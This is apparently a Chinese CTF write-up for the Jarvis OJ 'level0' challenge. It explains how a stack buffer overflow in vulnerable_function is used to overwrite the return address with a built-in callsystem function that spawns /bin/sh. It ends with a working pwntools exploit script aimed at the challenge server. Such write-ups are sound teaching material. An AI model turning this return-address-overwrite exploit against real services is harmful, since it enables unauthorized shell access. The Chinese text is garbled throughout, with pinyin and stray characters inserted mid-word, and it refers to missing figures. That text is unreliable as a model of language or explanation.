思路:這題考察hijack_control_flow,題目存在一個(gè)系統(tǒng)函數(shù),其功能是開(kāi)啟一個(gè)shell,我們可以覆蓋返回地址為該函數(shù)地址,從而劫持控制流,即可getshell。
1.用gdb-peda自帶的功能檢查一下是否開(kāi)啟nx,棧保護(hù)等機(jī)制。

2.file命令看一下是32位還是64位。

3.IDA64位打開(kāi)文件,按空格鍵切換到文本界面,再按F5查看反匯編代碼,理解程序邏輯。

雙擊vulnerable_function可進(jìn)入該函數(shù)。

4.到了這里我們發(fā)現(xiàn)主要問(wèn)題出在vulnerable_function,如果輸入超過(guò)0x80個(gè)字節(jié),就會(huì)導(dǎo)致緩沖區(qū)溢出。但是由于開(kāi)啟了NX,所以棧上數(shù)據(jù)無(wú)法執(zhí)行。我們按shift + F12查看是否有直接可以利用的函數(shù)。

雙擊該字符串/bin/sh,跳到該字符串出現(xiàn)的區(qū)域。

雙擊后面的函數(shù)callsystem,可以跳到該函數(shù),再按F5,查看該函數(shù),發(fā)現(xiàn)這是一個(gè)開(kāi)啟shell的函數(shù),我們可以直接利用。

5.到這里思路就明確了,我們只要將程序的邏輯修改成下圖的執(zhí)行流程就可以得到一個(gè)shell了。

6.由下圖知道緩沖區(qū)到rbp的距離是0x80字節(jié),然后再加上0x08字節(jié)的rbp,就到vulnerable_function函數(shù)返回地址了,這里我們用callsystem函數(shù)的開(kāi)始地址覆蓋該返回地址即可。(具體原理需要查閱函數(shù)調(diào)用棧相關(guān)的知識(shí))

具體腳本如下:
# coding:utf-8
from pwn import *
context.log_level = 'debug'
# sh = process('./level0')
sh = remote("pwn2.jarvisoj.com",9881)
elf = ELF("./level0")
callsys_addr = elf.symbols['callsystem'] #通過(guò)處理level0獲得callsystem的開(kāi)始地址
sh.recvuntil('World\n')#接收到'World\n'后,此處有換行符
payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)#p64將數(shù)字轉(zhuǎn)換成字符串
sh.send(payload)
sh.interactive()#打開(kāi)交互模式
sh.close()